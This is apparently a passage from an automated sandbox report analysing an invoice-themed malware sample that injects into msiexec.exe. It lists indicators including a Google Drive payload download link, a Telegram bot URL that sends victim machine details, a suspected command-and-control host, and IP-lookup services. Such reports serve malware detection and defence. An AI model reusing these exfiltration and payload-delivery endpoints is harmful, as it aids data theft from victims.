00000005.00000002.629157566.00000000221C7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022267000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: msiexec.exe, 00000005.00000002.629157566.0000000022131000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.628918047.0000000021E7D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: REVISED INVOICE.exe, REVISED INVOICE.exe.3.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000003.00000002.481361514.0000000003559000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: msiexec.exe, 00000005.00000002.629157566.00000000221EC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.000000002227C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022285000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222DD000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022293000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222BC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222CF000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022267000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://reallyfreegeoip.org
Source: powershell.exe, 00000003.00000002.480576580.0000000002531000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022131000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: msiexec.exe, 00000005.00000002.629157566.0000000022131000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: msiexec.exe, 00000005.00000002.629157566.00000000223B8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231AB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223F9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231F7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: msiexec.exe, 00000005.00000002.629157566.00000000222F4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: msiexec.exe, 00000005.00000002.629157566.00000000222EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: msiexec.exe, 00000005.00000002.629157566.00000000222EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: msiexec.exe, 00000005.00000002.629157566.00000000222EC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222F4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20a
Source: msiexec.exe, 00000005.00000002.629157566.00000000223B8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231AB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223F9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231F7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: powershell.exe, 00000003.00000002.481361514.0000000003559000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.481361514.0000000003559000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.481361514.0000000003559000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/t
Source: msiexec.exe, 00000005.00000002.625278649.0000000000500000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1UdCocYDXIneNm0wsl0RKLwjEdjKNc8DS
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/
Source: msiexec.exe, 00000005.00000002.625215938.00000000003DC000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1UdCocYDXIneNm0wsl0RKLwjEdjKNc8DS&export=download
Source: msiexec.exe, 00000005.00000002.629157566.00000000223B8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231AB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223F9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231F7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msiexec.exe, 00000005.00000002.629157566.00000000223B8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231AB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223F9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231F7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: msiexec.exe, 00000005.00000002.629157566.00000000223B8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231AB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223F9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231F7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000003.00000002.481361514.0000000003559000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: msiexec.exe, 00000005.00000002.629157566.000000002227C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022285000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222DD000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022293000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222BC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022216000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000221D3000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222CF000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022267000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: msiexec.exe, 00000005.00000002.629157566.00000000221D3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: msiexec.exe, 00000005.00000002.629157566.0000000022267000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.71
Source: msiexec.exe, 00000005.00000002.629157566.000000002227C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022285000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222DD000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022293000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222BC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022216000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222CF000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022267000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.714
Source: msiexec.exe, 00000005.00000002.629157566.00000000223B8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231AB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223F9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231F7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: msiexec.exe, 00000005.00000002.629157566.00000000223B8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231AB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223F9000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.00000000231F7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000223CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: msiexec.exe, 00000005.00000002.629157566.00000000223CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/favicon.ico
Source: msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=net
Source: msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=wmf
Source: msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index
Source: msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: msiexec.exe, 00000005.00000002.629157566.000000002240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: msiexec.exe, 00000005.00000002.629514463.00000000232EC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.0000000023238000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.0000000023346000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.000000002330E000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.0000000023292000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629514463.000000002325A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/indextest
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 49162 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49162
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.22:49162 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49181 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_004052BD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_004052BD

System Summary
barindex
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: REVISED INVOICE.exe
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\fona\Kvit\REVISED INVOICE.exe Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_0040326A EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040326A
Creates files inside the system directory
Source: C:\Users\user\Desktop\REVISED INVOICE.exe File created: C:\Windows\resources\0409 Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_00404AFA 0_2_00404AFA
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_004066E3 0_2_004066E3
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B4968 5_2_214B4968
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B9188 5_2_214B9188
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B31B1 5_2_214B31B1
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B83CA 5_2_214B83CA
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B8AA8 5_2_214B8AA8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B5D00 5_2_214B5D00
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B3482 5_2_214B3482
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B3E28 5_2_214B3E28
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B4699 5_2_214B4699
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214BF939 5_2_214BF939
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214BF009 5_2_214BF009
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214BE008 5_2_214BE008
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214BE018 5_2_214BE018
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214BD881 5_2_214BD881
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214BD890 5_2_214BD890
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214BEB70 5_2_214BEB70
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B9D10 5_2_214B9D10
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B6C71 5_2_214B6C71
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B5CF0 5_2_214B5CF0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B6C80 5_2_214B6C80
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214BF4A1 5_2_214BF4A1
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B7758 5_2_214B7758
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21588748 5_2_21588748
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21582998 5_2_21582998
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158DD58 5_2_2158DD58
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21583750 5_2_21583750
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21585748 5_2_21585748
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158DD48 5_2_2158DD48
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158F540 5_2_2158F540
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21580970 5_2_21580970
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21587770 5_2_21587770
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158C570 5_2_2158C570
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21584970 5_2_21584970
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158AD77 5_2_2158AD77
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21583760 5_2_21583760
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21580960 5_2_21580960
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158C560 5_2_2158C560
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21587761 5_2_21587761
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158B718 5_2_2158B718
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21586510 5_2_21586510
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21582500 5_2_21582500
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158CF00 5_2_2158CF00
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21586502 5_2_21586502
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158B707 5_2_2158B707
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21581738 5_2_21581738
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21585738 5_2_21585738
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21588739 5_2_21588739
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21589F30 5_2_21589F30
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158F530 5_2_2158F530
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21581729 5_2_21581729
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21589F26 5_2_21589F26
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21581BD0 5_2_21581BD0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158BBD0 5_2_2158BBD0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21585BD1 5_2_21585BD1
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158D3C8 5_2_2158D3C8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21581BC1 5_2_21581BC1
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21583BF8 5_2_21583BF8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158A3F8 5_2_2158A3F8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21580DF8 5_2_21580DF8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21587BF8 5_2_21587BF8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21588BFF 5_2_21588BFF
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158F9F7 5_2_2158F9F7
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158A3E8 5_2_2158A3E8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21583BEA 5_2_21583BEA
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21585BE0 5_2_21585BE0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158BBE0 5_2_2158BBE0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158699A 5_2_2158699A
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158AD88 5_2_2158AD88
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158298A 5_2_2158298A
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158958F 5_2_2158958F
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21584980 5_2_21584980
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158D3B8 5_2_2158D3B8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158EBB0 5_2_2158EBB0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215869A8 5_2_215869A8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215895A0 5_2_215895A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158EBA1 5_2_2158EBA1
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21582058 5_2_21582058
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21589A58 5_2_21589A58
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21584050 5_2_21584050
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158B250 5_2_2158B250
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21580040 5_2_21580040
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21586E40 5_2_21586E40
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21584040 5_2_21584040
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158B240 5_2_2158B240
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21586078 5_2_21586078
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158F078 5_2_2158F078
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21582068 5_2_21582068
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21589A68 5_2_21589A68
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21586068 5_2_21586068
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158F067 5_2_2158F067
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21584E18 5_2_21584E18
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21588C10 5_2_21588C10
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158E211 5_2_2158E211
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21580E08 5_2_21580E08
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21587C08 5_2_21587C08
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158FA08 5_2_2158FA08
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21584E08 5_2_21584E08
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158CA38 5_2_2158CA38
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21582E30 5_2_21582E30
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21586E30 5_2_21586E30
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158CA32 5_2_2158CA32
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158E220 5_2_2158E220
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21582E22 5_2_21582E22
